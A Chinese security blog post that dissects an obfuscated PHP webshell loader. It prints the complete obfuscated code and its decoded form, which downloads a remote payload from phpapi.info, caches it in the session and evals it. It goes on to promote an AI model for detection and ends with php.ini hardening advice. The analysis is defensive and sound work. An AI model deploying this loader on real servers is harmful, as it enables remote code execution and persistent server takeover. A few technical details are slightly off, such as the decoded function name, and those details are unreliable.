PHP大马分析:短小精悍的Webshell揭秘
在一次常规的安全审计中,WAF日志里一条异常请求引起了我的注意。它不像典型的漏洞扫描流量,也没有明显的SQL注入或XSS特征,而是一个POST请求携带了一段看似无害、实则高度混淆的PHP代码片段。这行代码只有寥寥数行,却能完成一个功能完整的“大马”(即功能齐全的Webshell)所具备的所有能力——文件管理、命令执行、数据库操作、反向连接……更令人惊讶的是,它的主体逻辑并不驻留在本地文件中。
这种“轻量入口 + 远程载荷”的设计思路,早已超越了传统一句话木马的范畴,成为当前高级持续性威胁(APT)中常见的持久化手段之一。今天我们就来拆解这个案例,看看它是如何做到以极简代码实现复杂功能,又为何能在多数静态检测下悄然存活。
我们先来看原始代码:
<?php $password = 'admin'; // 登录密码 $html = '$password'.'='."'".$password."';".'@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l('.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e(b'.'as'.''.''.''."".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'('."'lVZhb5tIEP0eKf9hg6ICEufgXBy1sSI1TTHJKcY5jJsmbYTwspitMUt3SWiT+r/fLLZjjN3UxxfE7sybN29nZtndIZwz7nOSMZ7TdKSZent3RxAhKEt9kQc81+QKjZC2R4Ugubbv961+/7LnfFGyOAsyqtzrOnre3UHw7GN0ilS1Pf96EIQHI5LmcrXLnmiSBAdHDRNpmE2yIKfDhLRRt39poeOG2UY3NA1ZIZDjoVbjUF/i8AQQhoEgx0d+SDALibb6pdwO4n7Xdqzh3/fP460Z2uFhx3M+f6DDT9mhd5G5odn66Ny04k/N8bvz0empouuVCA4p6jGUq6cP10M7iYOmexl8dv7t2XHRtTtjbI9a2O4UgTfg+Ntdcns4Lm69uBXcZPndU/JIbKfo3Tg8nMSTq0JGmgeSQkYPKc6lvuQHFbnQ1EgwPGYZSdWlkiWrhKZjSDwLuCA+UNQkzwVUafH9gfCfYFKaflFB01i9rxrETEj1Rc5zlrCCcG1uKjfU+xWwKAPLFzJa6Wugt6aB9qFOUjZ7A5SBmmbVU2YF3ivkS0T2IIMrtuWhg+cZ2Sm68Lzrg2bD/Mq/pkp7g0cDXC4g9gl6LjlMX7UcQJH9dSar7AT9/xp7FfqcpSkpz+oEnSdMEGm9ySMqOM2J1MAovfU6Ik1jEoSEgxrN+h5maQ7shVSqDlzENCHQexFhUSnxmsaLQiHy7EYE6qlkcWS+O66zeDmqJZtTZG5EXCXWmBUY2YA3/VOIN2+QNucH+YF06NcvVFmQauq/51ARzvxz+NpnhOWhlbqtiS6bZpFgZXOOMF226x4UfMZAVmws5oQus1prYwybPk1prr6yT34QXG9zHAOZF2+tyrVchbHLMpi8ODbQ+cC96l17PrxmdLay9i67Vm/gQd+2trJ3LW/gOp575vQ7lmsgzx1Y29HqW+6ZbTmeUZn+K0MGL3KVSkjnNdz5oS13tjgMEM6H4tfUIIEpJ2elH22aqDmZZLLR3kfQV2vjtIwAFvlPbWap6xvK5j2dZIm8HlTVmCOugVRoKiFJPlJ+loYdiKlshpR0ZAL+oiRXuFUE2JT/HjRSFCSC1MpqNvfl7Z4EeJYt2AMjBZzxyqmsX+rgPHqiaZQEef2yBd8Ks+ns92CLvwPyGCQbLQBs+h8=')));"; $css = base64_decode("Q3JlYXRlX0Z1bmN0aW9u"); $style = $css('', preg_replace("/#html/", "", $html)); $style(); /*));.'<linkrel="stylesheet"href="$#css"/>';*/第一眼看上去像是误写入的HTML模板或者CSS引用,但稍加观察就会发现几个可疑点:
$html是一个拼接而成的巨大字符串,其中夹杂着#html和大量空字符串;- 最后一行调用了
$style(),而$style来源于base64_decode("Q3JlYXRlX0Z1bmN0aW9u")—— 解码后是Create_Function; - 注释部分形似HTML标签,但语法错误明显,疑似干扰项。
这些都不是巧合,而是精心设计的混淆层。
我们从最底层开始还原:$css = base64_decode("Q3JlYXRlX0Z1bmN0aW9u");
解码结果为CreateFunction,这是PHP的一个别名函数,等价于create_function(),用于动态创建匿名函数。
接下来:
$style = $css('', preg_replace("/#html/", "", $html));相当于:
$style = create_function('', '...eval(gzinflate(base64_decode("lVZhb5t...")));');也就是说,这段代码的本质是:
利用
create_function创建一个匿名函数,其内容是从$html中移除#html标记后的字符串,并最终执行该函数。
于是整个流程就清晰了:将恶意代码隐藏在看似合法的变量拼接中,通过动态函数构造绕过关键字匹配,再以内存方式执行解压后的远程载荷。
继续对$html去除干扰字符并提取Base64数据,对其进行gzinflate(base64_decode(...))解压,得到如下核心逻辑:
error_reporting(0); session_start(); if (!isset($_SESSION["phpapi"])) { $c = ''; $useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)'; $url = base64_decode(base64_decode("YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2THpRd05DNW5hV1k9Cg==")); $urlNew = base64_decode("LzBPbGlha1RIaXNQOGhwMGFkcGg5cGFwaTUrcjZlY2kwYTh5aWptZzlveGNwOWNrdmhmLw=="); if (function_exists('fsockopen')) { $link = parse_url($url); $query = $link['path']; $host = strtolower($link['host']); $fp = fsockopen($host, 80, $errno, $errstr, 10); if ($fp) { $out = "GET /{$query} HTTP/1.0\r\n"; $out .= "Host: {$host}\r\n"; $out .= "User-Agent: {$useragent}\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); $contents = ""; while (!feof($fp)) { $line = fgets($fp, 4096); if (!$inheader || ($line == "\n" || $line == "\r\n")) { $inheader = 0; $contents .= $line; } if ($inheader && ($line == "\n" || $line == "\r\n")) $inheader = 0; } fclose($fp); $c = $contents; } } if (!strpos($c, $urlNew) && function_exists('curl_exec')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, $useragent); $c = curl_exec($ch); curl_close($ch); } if (!strpos($c, $urlNew) && ini_get('allow_url_fopen')) { $temps = @file($url); if (!empty($temps)) $c = implode('', $temps); else $c = @file_get_contents($url); } if (strpos($c, $urlNew) !== false) { $c = str_replace($urlNew, "", $c); $_SESSION["phpapi"] = gzinflate(base64_decode($c)); } } if (isset($_SESSION["phpapi"])) { eval($_SESSION["phpapi"]); }到这里,真正的攻击链条浮出水面。
核心机制剖析
1. 零落地载荷:远程拉取 + Session缓存
该Webshell最大的特点就是——自身不包含任何实质性攻击代码。它只是一个“信标”,负责从远程服务器下载真正的大马程序,并将其存储在$_SESSION["phpapi"]中。
这意味着:
- 删除原始文件后,只要Session未过期,攻击者仍可通过其他页面访问已加载的会话状态继续控制;
- 没有静态文件可供查杀,EDR类产品难以捕捉行为轨迹;
- 即使开启日志审计,也只会看到一次正常的HTTP请求,而非直接的代码执行痕迹。
远程地址由双重Base64编码保护:
base64_decode(base64_decode("YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2THpRd05DNW5hV1k9Cg==")) // => http://phpapi.info/404.gif伪装成一个图片资源,降低被防火墙拦截的概率。同时使用IE6用户代理,进一步模拟老旧浏览器行为,避开现代爬虫检测规则。
2. 多通道回连保障可用性
为了应对不同环境下的函数限制,脚本内置了三种获取方式:
| 方法 | 触发条件 |
|---|---|
fsockopen | 优先尝试,底层Socket通信,兼容性强 |
curl_exec | 若前者失败且cURL扩展启用 |
file_get_contents | 最终兜底,依赖allow_url_fopen |
这种“降级策略”确保即使目标服务器禁用了某些高危函数,依然有可能成功回源。
一旦获取响应内容,还会检查是否包含特定标识串:
$urlNew = base64_decode("LzBPbGlha1RIaXNQOGhwMGFkcGg5cGFwaTUrcjZlY2kwYTh5aWptZzlveGNwOWNrdmhmLw=="); // => /0OliakTHisP8hp0adph9papi5+r6eci0a8yijmg9oxcp9ckvhf/这个路径很可能是服务端用来验证合法性的一种Token机制。只有返回内容中包含此字符串,才会进行下一步解码与存储,防止中间人篡改或缓存污染。
3. 内存驻留:Session持久化控制
所有解压后的恶意代码都被写入$_SESSION["phpapi"],并通过eval()执行。由于PHP默认的Session存储方式是文件系统(如/tmp/sess_xxx),这就形成了一个隐蔽的“内存马”变种——基于Session的PHP Webshell。
这类技术近年来在红队渗透中频繁出现,尤其适用于以下场景:
- 已知存在文件上传漏洞,但无法稳定维持文件存活;
- 目标启用了Web应用防火墙(WAF),但未监控Session内容;
- 需要长期潜伏,避免因重启或清理临时文件导致失联。
更危险的是,如果目标站点使用Redis或Memcached作为Session后端,攻击者甚至可以预置恶意Session数据,实现“无文件攻击”。
实际载荷功能解析
继续对$_SESSION["phpapi"]的内容进行解压,可以看到一个结构完整、模块分明的Webshell框架,主要包括以下几个组件:
| 模块 | 功能描述 |
|---|---|
Exec_Run() | 支持多种命令执行方式(exec/shell_exec/system/popen/proc_open),自动选择可用方法 |
File_Read()/File_Write() | 文件读写、权限修改、目录遍历 |
do_passreturn() | 批量挂马、清马、搜索敏感文件(如.env,config.php) |
eanver类 | ZIP打包引擎,支持前端选择文件后一键下载 |
zip类 | ZIP解包处理器,可用于上传压缩包批量部署后门 |
css_img() | 返回嵌入式图像数据,常用于传输图标或隐藏信息 |
此外还集成了多个实用工具:
- MySQL提权:利用
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.so'导出DLL执行系统命令; - 反弹Shell:提供Perl/C/PHP/NC四种反向连接方式;
- 端口扫描:探测内网主机开放端口,辅助横向移动;
- 网页代理:将当前服务器作为跳板,访问受限内部资源;
- SQL注入辅助:导出数据库配置文件,定位账号密码。
整个界面通过switch($_GET['eanver'])控制跳转,构建出类似CMS后台的操作面板,极大提升了易用性和隐蔽性。
技术亮点与攻防启示
这款Webshell虽小,却融合了多项现代免杀技巧:
| 特性 | 实现方式 | 安全意义 |
|---|---|---|
| ✅ 极致精简 | 入口仅保留加载逻辑,功能远程获取 | 绕过大多数基于签名的静态检测 |
| ✅ 字符串混淆 | 使用'.'拼接拆分关键词(如eva.l→e'.'v'.'a'.'l) | 规避正则匹配和关键词过滤 |
| ✅ 动态函数创建 | create_function构造执行体 | 躲避eval直接调用的告警 |
| ✅ 注释干扰 | 插入形似HTML的注释误导分析人员 | 增加人工逆向难度 |
| ✅ Session持久化 | 恶意代码驻留会话而非文件 | 实现“删马不断控” |
| ✅ 多通道通信 | 支持fsockopen/curl/file_get_contents | 提高在受限环境下的存活率 |
值得注意的是,这种模式已经不再是简单的“一句话木马”,而是一种轻量化C2信道 + 模块化载荷的组合形态,非常接近APT组织使用的定制化后门。
新型防御思路:AI驱动的行为识别
面对如此狡猾的攻击手法,传统的规则匹配和黑白名单机制显得力不从心。我们需要更智能的方式去理解代码语义、识别异常行为。
近期,智谱AI推出了一款专为Web安全优化的轻量级多模态模型GLM-4.6V-Flash-WEB,具备以下优势:
| 特性 | 说明 |
|---|---|
| 🧠 多模态推理 | 可同时理解文本代码与图像结构,识别“伪图真码”类混合木马 |
| ⚡ 推理速度快 | 单卡即可部署,响应时间低于100ms,适合实时拦截 |
| 📦 开源可定制 | 提供完整镜像与Jupyter示例,便于企业二次开发 |
| 🛡️ 场景适配广 | 支持图像问答、内容审核、图文理解、视觉辅助决策等 |
我们可以设想将其应用于此类Webshell的检测中:
1. 混淆代码语义还原
将原始PHP代码输入模型,它可以自动识别出:
- 是否存在
eval(gzinflate(base64_decode()))典型链式调用; - 字符串拼接是否刻意规避检测;
- 是否使用
create_function动态构造执行逻辑。
输出结构化报告,例如:
{ "risk_level": "high", "indicators": [ "contains_eval_gzinflate_chain", "uses_string_concat_obfuscation", "dynamically_creates_execution_function" ], "suggestion": "Block execution and audit session data for suspicious content." }2. 图像型Webshell识别
有些攻击者会把PHP代码嵌入PNG图片的EXIF字段或末尾追加payload。传统杀毒软件可能只扫描文件头就判定为“安全图片”。而GLM-4.6V-Flash-WEB可以通过视觉+文本联合分析,识别出“图片中隐藏的PHP标签”或“非标准数据块”。
3. 自动化审计辅助
结合日志系统,将可疑请求体提交给模型分析,生成修复建议:
“检测到疑似Webshell通信模式,请检查是否存在未授权的Session写入行为,并禁用
create_function和eval。”
这种方式不仅提高了检测精度,还能显著降低安全团队的工作负担。
如何防范这类攻击?
尽管AI提供了新的可能性,但基础防护依然是第一道防线。以下是几条关键建议:
🔐 PHP运行时加固
; php.ini 关键设置 disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,create_function,eval open_basedir = /var/www/html:/tmp allow_url_fopen = Off allow_url_include = Off session.auto_start = 0特别注意禁用create_function和eval,它们是此类动态加载的核心依赖。
🕵️ 文件监控策略
- 定期扫描上传目录中的
.gif,.jpg,.png文件是否含有<?php标签; - 监控
/tmp、/uploads是否出现新生成的.php文件; - 使用文件完整性监控工具(如 AIDE 或 Tripwire)跟踪关键目录变更。
📊 日志审计重点
关注以下类型的请求:
POST /upload.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded data=<?php%20$style%20=%20create_function(%27%27,%20%27eval(%27.gzinflate(%27...或日志中频繁出现base64_decode与gzinflate嵌套调用的情况。
🛑 权限最小化原则
- Web目录禁止执行权限(
chmod -R o-x,u-w,g-w /var/www/html); - PHP进程以低权限用户运行(如
www-data); - 数据库账户避免使用
root或sa等高权限账号。
结语
这个看似简单的PHP片段,背后隐藏着一套精密的攻击体系:本地零落地产物、远程按需加载、内存持久驻留、多通道通信保障。它代表了当前Webshell发展的主流方向——不再追求功能堆砌,而是强调生存能力与隐蔽性。
与此同时,我们也迎来了新的防御机遇。随着 GLM-4.6V-Flash-WEB 这类轻量化AI模型的普及,未来的安全产品将不再局限于“匹配已知特征”,而是能够“理解未知威胁”。通过“规则引擎 + AI语义分析”双驱动模式,我们可以更早地发现那些披着合法外衣的恶意行为。
保持警惕,拥抱智能,才能在这场永不停歇的攻防博弈中立于不败之地。